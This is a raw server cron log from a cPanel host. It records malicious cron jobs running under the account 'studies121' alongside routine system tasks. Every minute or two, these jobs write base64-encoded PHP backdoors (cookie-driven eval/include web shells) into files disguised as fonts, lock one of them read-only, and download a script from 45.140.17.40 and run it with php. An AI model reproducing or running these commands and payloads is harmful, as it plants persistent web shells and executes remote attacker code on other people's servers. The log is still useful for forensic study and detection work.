Aug 31 21:45:01 ip-184-168-122-23 CROND[735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:45:01 ip-184-168-122-23 CROND[736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:45:01 ip-184-168-122-23 CROND[738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:45:01 ip-184-168-122-23 CROND[740]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:45:01 ip-184-168-122-23 CROND[739]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:45:01 ip-184-168-122-23 CROND[741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:46:02 ip-184-168-122-23 CROND[872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:46:02 ip-184-168-122-23 CROND[871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:46:02 ip-184-168-122-23 CROND[875]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 21:46:02 ip-184-168-122-23 CROND[878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:46:02 ip-184-168-122-23 CROND[879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:46:02 ip-184-168-122-23 CROND[881]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 21:46:02 ip-184-168-122-23 CROND[880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:47:01 ip-184-168-122-23 CROND[1001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:47:01 ip-184-168-122-23 CROND[1004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:47:01 ip-184-168-122-23 CROND[1003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:47:01 ip-184-168-122-23 CROND[1006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:48:01 ip-184-168-122-23 CROND[1166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:48:01 ip-184-168-122-23 CROND[1168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:48:01 ip-184-168-122-23 CROND[1169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:48:01 ip-184-168-122-23 CROND[1171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:48:01 ip-184-168-122-23 CROND[1170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:49:01 ip-184-168-122-23 CROND[1279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:49:01 ip-184-168-122-23 CROND[1281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:49:01 ip-184-168-122-23 CROND[1278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:49:01 ip-184-168-122-23 CROND[1287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:50:01 ip-184-168-122-23 CROND[1382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:50:01 ip-184-168-122-23 CROND[1383]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:50:01 ip-184-168-122-23 CROND[1384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:50:01 ip-184-168-122-23 CROND[1387]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 21:50:01 ip-184-168-122-23 CROND[1394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:50:01 ip-184-168-122-23 CROND[1392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:50:01 ip-184-168-122-23 CROND[1393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:50:01 ip-184-168-122-23 CROND[1391]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:50:01 ip-184-168-122-23 CROND[1396]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:51:01 ip-184-168-122-23 CROND[1517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:51:01 ip-184-168-122-23 CROND[1516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:51:01 ip-184-168-122-23 CROND[1519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:51:01 ip-184-168-122-23 CROND[1518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:52:01 ip-184-168-122-23 CROND[1600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:52:01 ip-184-168-122-23 CROND[1603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:52:01 ip-184-168-122-23 CROND[1602]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:52:01 ip-184-168-122-23 CROND[1604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:52:01 ip-184-168-122-23 CROND[1605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:53:01 ip-184-168-122-23 CROND[1771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:53:01 ip-184-168-122-23 CROND[1773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:53:01 ip-184-168-122-23 CROND[1774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:53:01 ip-184-168-122-23 CROND[1775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:54:01 ip-184-168-122-23 CROND[1864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:54:01 ip-184-168-122-23 CROND[1865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:54:01 ip-184-168-122-23 CROND[1867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:54:01 ip-184-168-122-23 CROND[1870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:54:01 ip-184-168-122-23 CROND[1868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:55:01 ip-184-168-122-23 CROND[1959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:55:01 ip-184-168-122-23 CROND[1964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:55:01 ip-184-168-122-23 CROND[1965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:55:01 ip-184-168-122-23 CROND[1966]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:55:01 ip-184-168-122-23 CROND[1969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:55:01 ip-184-168-122-23 CROND[1968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:56:01 ip-184-168-122-23 CROND[2060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:56:01 ip-184-168-122-23 CROND[2061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:56:01 ip-184-168-122-23 CROND[2063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:56:01 ip-184-168-122-23 CROND[2064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:56:01 ip-184-168-122-23 CROND[2062]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:57:01 ip-184-168-122-23 CROND[2149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
